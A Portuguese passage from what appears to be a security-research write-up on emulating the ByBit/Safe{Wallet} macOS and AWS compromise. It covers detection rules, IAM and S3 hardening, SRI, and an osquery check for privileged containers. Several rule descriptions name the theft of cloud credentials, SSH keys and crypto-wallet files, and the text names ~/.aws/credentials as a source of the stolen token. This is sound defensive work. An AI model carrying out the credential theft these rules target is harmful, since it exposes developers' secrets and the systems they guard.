Esse tipo de adulteração de front-end é especialmente perigoso em ambientes Web3, onde aplicativos descentralizados (dApps) geralmente dependem de lógica estática do lado do cliente para processar transações. Ao modificar o pacote JavaScript fornecido pelo bucket S3, o invasor conseguiu subverter o comportamento do aplicativo sem precisar violar as APIs de backend ou a lógica do contrato inteligente.
Presumimos que proteções como S3 Object Lock, Content-Security-Policy (CSP) ou cabeçalhos Subresource Integrity (SRI) não estavam em uso ou não foram aplicadas no momento do comprometimento. A ausência desses controles permitiria que um invasor modificasse o código estático do frontend sem acionar a validação de integridade do navegador ou do backend, tornando essa adulteração significativamente mais fácil de ser realizada sem ser detectada.
Lições de defesa
Uma emulação bem-sucedida — ou resposta a incidentes no mundo real — não termina com a identificação dos comportamentos do invasor. Ele continua reforçando as defesas para evitar que técnicas semelhantes tenham sucesso novamente. Abaixo, descrevemos as principais detecções, controles de segurança, estratégias de mitigação e recursos do Elastic que podem ajudar a reduzir riscos e limitar a exposição às táticas usadas nesta emulação e em campanhas in-the-wild (ItW), como o comprometimento do Safe{Wallet}.
Observação: essas detecções são mantidas ativamente e ajustadas regularmente e podem evoluir com o tempo. Dependendo do seu ambiente, ajustes adicionais podem ser necessários para minimizar falsos positivos e reduzir ruídos.
Regras de detecção de SIEM e prevenção de endpoint da Elastic
Depois de entender o comportamento do adversário por meio da emulação e implementar controles de segurança para proteger o ambiente, é igualmente importante explorar oportunidades e recursos de detecção para identificar e responder a essas ameaças em tempo real.
Depois de entender o comportamento do adversário por meio da emulação e implementar controles de segurança para proteger o ambiente, é igualmente importante explorar oportunidades e recursos de detecção para identificar e responder a essas ameaças em tempo real.
Regras de prevenção de comportamento de endpoint do macOS
Carga útil de desserialização PyYAML do Python
Nome da regra: “Python Script Drop and Execute”: detecta quando um script Python é criado ou modificado, seguido imediatamente pela execução desse script pelo mesmo processo Python.
Script de carregamento Python
Nome da regra: “Script Python de exclusão automática”: detecta quando um script Python é executado e esse arquivo de script é imediatamente excluído pelo mesmo processo Python.
Nome da regra: “Conexão de saída de script Python autoexcluído”: detecta quando um script Python é excluído e uma conexão de rede de saída ocorre logo depois pelo mesmo processo Python.
Script de carregamento Python Ret == 1
Nome da regra: “Criação de arquivo executável suspeito via Python”: detecta quando um arquivo executável é criado ou modificado pelo Python em diretórios suspeitos ou incomuns.
Nome da regra: “Carregar e excluir biblioteca Python”: detecta quando uma biblioteca compartilhada, localizada no diretório inicial do usuário, é carregada pelo Python, seguida pela exclusão da biblioteca logo depois pelo mesmo processo do Python.
Nome da regra: “Carregamento incomum de biblioteca via Python”: detecta quando uma biblioteca compartilhada é carregada pelo Python que não se denota como .dylib ou .so arquivo e está localizado no diretório inicial do usuário.
Nome da regra: “Execução JXA na memória via ScriptingAdditions”: detecta o carregamento na memória e a execução de um script JXA.
Script de carregamento Python Ret == 2
Nome da regra: “Potencial ladrão de Python”: detecta quando um script Python é executado seguido logo depois por pelo menos três tentativas de acesso a arquivos confidenciais pelo mesmo processo Python.
Nome da regra: “Script Python autoexcluído acessando arquivos confidenciais”: detecta quando um script Python é excluído e arquivos confidenciais são acessados logo depois pelo mesmo processo Python.
Script de carregamento Python Ret == 3
Nome da regra: “Execução de binário não assinado ou não confiável via Python”: detecta quando um binário não assinado ou não confiável é executado pelo Python quando o executável está localizado em um diretório suspeito.
Nome da regra: “Fork binário não assinado ou não confiável via Python”: detecta quando um binário não assinado ou não confiável é executado por fork pelo Python, onde o argumento do processo é o caminho para um arquivo dentro do diretório inicial do usuário.
Nome da regra: “Arquivos de credenciais de nuvem acessados por processo em diretório suspeito”: detecta quando as credenciais de nuvem são acessadas por um processo em execução em um diretório suspeito.
Detecções de SIEM para logs do AWS CloudTrail
Nome da regra: “Token de sessão temporário do STS IAM usado de vários endereços”: detecta tokens de sessão do AWS IAM (por exemplo, ASIA*) sendo usado por vários endereços IP de origem em um curto período de tempo, o que pode indicar roubo de credenciais e reutilização de infraestrutura adversária.
Nome da regra: “Tentativa do IAM de registrar dispositivo MFA virtual com credenciais temporárias”: detecta tentativas de chamar CreateVirtualMFADevice ou EnableMFADevice com tokens de sessão da AWS. Isso pode refletir uma tentativa de estabelecer acesso persistente usando credenciais de curto prazo sequestradas.
Nome da regra: “Chamadas de API para IAM por meio de tokens de sessão temporários”: detecta o uso de operações de API iam.amazonaws.com confidenciais por um principal usando credenciais temporárias (por exemplo tokens de sessão com prefixo ASIA*). Essas operações normalmente exigem MFA ou devem ser executadas somente por meio do console da AWS ou de usuários federados. Não são tokens CLI ou de automação.
Nome da regra: “Arquivo JavaScript do site estático S3 carregado via PutObject”: identifica tentativas de usuários do IAM de carregar ou modificar arquivos JavaScript no diretório static/js/ de um bucket S3, o que pode sinalizar adulteração do frontend (por exemplo, injeção de código malicioso)
Nome da regra: “AWS CLI com impressão digital identificada do Kali Linux”: detecta chamadas de API da AWS feitas de um sistema usando o Kali Linux, conforme indicado pela string user_agent.original. Isso pode refletir a infraestrutura do invasor ou acesso não autorizado de ferramentas da equipe vermelha.
Nome da regra: “Eventos GetObject excessivos ou suspeitos do S3”: detecta um alto volume de ações GetObject do S3 pelo mesmo usuário ou sessão do IAM em uma curta janela de tempo. Isso pode indicar exfiltração de dados do S3 usando ferramentas como sincronização de comando da CLI da AWS, visando principalmente arquivos de site estáticos ou pacotes de front-end. Observe que esta é uma consulta de caça e deve ser ajustada adequadamente.
Detecções de SIEM para abuso de Docker
Nome da regra: “Acesso a arquivos confidenciais via Docker”: detecta quando o Docker acessa arquivos confidenciais do host (“ssh”, “aws”, “gcloud”, “azure”, “navegador da web”, “arquivos de carteira criptografada”).
Nome da regra: “Modificação de arquivo executável suspeito via Docker”: detecta quando o Docker cria ou modifica um arquivo executável dentro de um diretório suspeito ou incomum.
Se a sua política de agente do macOS incluir a integração de dados do Docker, você poderá coletar telemetria valiosa que ajuda a revelar atividades maliciosas de contêineres em sistemas de usuários. Em nossa emulação, essa integração nos permitiu ingerir logs do Docker (no índice de métricas), que então usamos para criar uma regra de detecção capaz de identificar indicadores de comprometimento e execuções suspeitas de contêineres associados ao aplicativo malicioso.
Mitigações
Engenharia Social
A engenharia social desempenha um papel importante em muitas intrusões, mas especialmente na RPDC. Eles são altamente hábeis em atingir e abordar suas vítimas utilizando plataformas públicas confiáveis como LinkedIn, Telegram, X ou Discord para iniciar contato e parecer legítimos. Muitas de suas campanhas de engenharia social tentam convencer o usuário a baixar e executar algum tipo de projeto, aplicativo ou script, seja por necessidade (candidatura a emprego), angústia (assistência na depuração) etc. A mitigação de segmentação que alavanca a engenharia social é difícil e exige um esforço concentrado da empresa para garantir que seus funcionários sejam treinados regularmente para reconhecer essas tentativas, aplicando o ceticismo e a cautela adequados ao interagir com entidades externas e até mesmo com comunidades de código aberto.
- Treinamento de conscientização do usuário
- Revisão manual de código estático
- Varredura de código estático e dependências
Bandit (GitHub - PyCQA/bandit: Bandit é uma ferramenta projetada para encontrar problemas comuns de segurança em código Python.) é um ótimo exemplo de uma ferramenta de código aberto que um desenvolvedor pode usar para escanear o aplicativo Python e seus scripts antes da execução, a fim de revelar vulnerabilidades comuns de segurança do Python ou problemas perigosos que podem estar presentes no código.
Gerenciamento de aplicativos e dispositivos
Controles de aplicativos por meio de uma solução de gerenciamento de dispositivos ou uma estrutura de autorização binária como a ferramenta de código aberto Santa (GitHub - northpolesec/santa: Um sistema de autorização de acesso binário e a arquivos para macOS.) poderia ter sido usado para impor autenticação em cartório e bloquear a execução de caminhos suspeitos. Isso teria impedido a execução da carga útil do Poseidon lançada no sistema para persistência e poderia ter impedido o acesso a arquivos confidenciais.
EDR/XDR
Para se defender efetivamente contra ameaças de estados-nação — e muitos outros ataques direcionados ao macOS — é essencial ter uma solução de EDR que forneça recursos avançados de telemetria e correlação para detectar e prevenir ataques baseados em scripts. Dando um passo adiante, uma plataforma EDR como a Elastic permite que você ingira logs da AWS junto com dados de endpoint, permitindo alertas unificados e visibilidade por meio de um único painel de vidro. Quando combinada com correlação alimentada por IA, essa abordagem pode revelar narrativas de ataque coesas, acelerando significativamente a resposta e melhorando sua capacidade de agir rapidamente caso tal ataque ocorra.
Exposição de credenciais da AWS e reforço de tokens de sessão
Neste ataque, o adversário aproveitou um token de sessão de usuário roubado da AWS (com o prefixo ASIA*), que havia sido emitido por meio da API GetSessionToken usando MFA. Essas credenciais provavelmente foram recuperadas do ambiente de desenvolvedor do macOS — de variáveis de ambiente exportadas ou de caminhos de configuração padrão da AWS (por exemplo, ~/.aws/credentials).
Para mitigar esse tipo de acesso, as organizações podem implementar as seguintes estratégias defensivas:
- Reduza a vida útil dos tokens de sessão e afaste-se dos usuários do IAM: evite emitir tokens de sessão de longa duração para usuários do IAM. Em vez disso, imponha durações curtas de token (por exemplo, 1 hora ou menos) e adote o AWS SSO (IAM Identity Center) para todos os usuários humanos. Isso torna os tokens de sessão efêmeros, auditáveis e vinculados à federação de identidades. Desabilitar completamente as permissões sts:GetSessionToken para usuários do IAM é a abordagem mais eficiente, e o IAM Identity Center permite essa transição.
- Aplicar restrições de contexto de sessão para uso da API do IAM: implemente blocos de condições de política do IAM que neguem explicitamente operações confidenciais do IAM, como iam:CreateVirtualMFADevice ou iam:AttachUserPolicy, se a solicitação for feita usando credenciais temporárias. Isso garante que chaves baseadas em sessão, como as usadas no ataque, não possam aumentar privilégios ou modificar construções de identidade.
- Limitar o registro de MFA a caminhos confiáveis: bloqueie a criação de dispositivos MFA (CreateVirtualMFADevice, EnableMFADevice) por meio de tokens de sessão, a menos que venham de redes, dispositivos ou funções do IAM confiáveis. Use aws:SessionToken ou aws:ViaAWSService como chaves de contexto de política para impor isso. Isso teria impedido o adversário de tentar a persistência baseada em MFA usando a sessão sequestrada.
Endurecimento da camada de aplicação S3 (adulteração frontal)
Após obter o token de sessão da AWS, o adversário não realizou nenhuma enumeração do IAM; em vez disso, ele mudou rapidamente para as operações do S3. Usando a AWS CLI e credenciais temporárias, eles listaram os buckets do S3 e modificaram o JavaScript de frontend estático hospedado em um bucket público do S3. Isso permitiu que eles substituíssem o pacote de produção Next.js por uma variante maliciosa projetada para redirecionar transações com base em endereços de carteira específicos.
Para evitar esse tipo de adulteração de frontend, implemente as seguintes estratégias de proteção:
- Aplicar imutabilidade com o bloqueio de objeto S3: habilite o bloqueio de objeto S3 no modo de conformidade ou governança em buckets que hospedam conteúdo de front-end estático. Isso evita a substituição ou exclusão de arquivos por um período de retenção definido, mesmo por usuários comprometidos. O Bloqueio de Objeto adiciona uma forte garantia de imutabilidade e é ideal para camadas de aplicativos públicos. O acesso para inserir novos objetos (em vez de sobrescrever) ainda pode ser permitido por meio de funções de implantação.
- Implemente a integridade do conteúdo com a integridade do sub-recurso (SRI): inclua hashes SRI (por exemplo, SHA-256) nas tags <script> dentro de index.html para garantir que o frontend execute apenas pacotes JavaScript conhecidos e validados. Neste ataque, a falta de verificações de integridade permitiu que JavaScript arbitrário fosse servido e executado a partir do bucket S3. O SRI teria bloqueado esse comportamento no nível do navegador.
- Restringir acesso de upload usando limites de implantação de CI/CD: os desenvolvedores nunca devem ter acesso de gravação direto aos buckets de produção do S3. Use contas AWS separadas ou funções IAM para desenvolvimento e implantação de CI/CD. Somente ações do GitHub autenticadas pelo OIDC ou pipelines de CI confiáveis devem ter permissão para carregar pacotes de front-end em buckets de produção. Isso garante que credenciais humanas, mesmo se comprometidas, não prejudiquem a produção.
- Bloquear acesso por meio de URLs assinadas do CloudFront ou usar controle de versão do S3: se o front-end for distribuído pelo CloudFront, restrinja o acesso ao S3 usando URLs assinadas e remova o acesso público à origem do S3. Isso adiciona uma camada de proxy e controle. Como alternativa, habilite o controle de versão do S3 e monitore eventos de substituição em ativos críticos (por exemplo, /static/js/*.js). Isso pode ajudar a detectar adulterações por parte de adversários que tentam substituir arquivos de front-end.
Descoberta de Ataque (AD)
Depois de concluir a emulação de ataque de ponta a ponta, testamos o novo recurso de descoberta de ataque de IA da Elastic para ver se ele conseguiria conectar os pontos entre os vários estágios da intrusão. O Attack Discovery integra-se com um LLM de sua escolha para analisar alertas em sua pilha e gerar narrativas de ataque coesas. Essas narrativas ajudam os analistas a entender rapidamente o que aconteceu, reduzir o tempo de resposta e obter contexto de alto nível. Em nosso teste, ele correlacionou com sucesso o comprometimento do endpoint com a intrusão na AWS, fornecendo uma história unificada que um analista poderia usar para tomar medidas informadas.
Osquery
Ao executar o Elastic Defend por meio do Elastic Agent, você também pode implantar a integração do OSQuery Manager para gerenciar centralmente o Osquery em todos os agentes da sua frota. Isso permite que você consulte dados do host usando SQL distribuído. Durante nossos testes do aplicativo malicioso Dockerizado, usamos o OSQuery para inspecionar o endpoint e identificamos com sucesso o contêiner em execução com permissões privilegiadas.
SELECT name, image, readonly_rootfs, privileged FROM docker_containers
Agendamos essa consulta para ser executada de forma recorrente, enviando os resultados de volta ao nosso Elastic Stack. A partir daí, criamos uma regra de detecção baseada em limites que alerta sempre que um novo contêiner privilegiado aparece no sistema de um usuário e não foi observado nos últimos sete dias.
Conclusão
O ataque ByBit foi uma das intrusões mais importantes atribuídas aos agentes de ameaças da RPDC e, graças aos relatórios detalhados e artefatos disponíveis, também proporcionou uma rara oportunidade para os defensores emularem a cadeia de ataque completa de ponta a ponta. Ao recriar o comprometimento da estação de trabalho macOS de um desenvolvedor SAFE — incluindo acesso inicial, execução de payload e pivotamento da AWS — validamos nossas capacidades de detecção em relação às práticas comerciais de estados-nação do mundo real.
Essa emulação não apenas destacou insights técnicos — como a desserialização do PyYAML pode ser abusada para obter acesso inicial — mas também reforçou lições críticas na defesa operacional: o valor da conscientização do usuário, cobertura de EDR baseada em comportamento, fluxos de trabalho seguros para desenvolvedores, políticas eficazes de IAM na nuvem, registro na nuvem e detecção/resposta holística em todas as plataformas.
Os adversários estão constantemente inovando, mas os defensores também — e esse tipo de pesquisa ajuda a equilibrar a balança. Incentivamos você a seguir @elasticseclabs e conferir nossa pesquisa de ameaças em elastic.co/security-labs para ficar à frente das técnicas de adversários em evolução.
Recursos:
- Bybit – O que sabemos até agora
- Safe.eth no X: "Atualizações da investigação e apelo à ação da comunidade"
- Inteligência APT de Criptomoedas: Revelando as Técnicas de Intrusão do Grupo Lazarus
- Slow Pisces mira desenvolvedores com desafios de codificação e apresenta novo malware Python personalizado
- Código de conduta: intrusões da RPDC alimentadas por Python em redes seguras
- Elástico pega RPDC desmaiando KANDYKORN
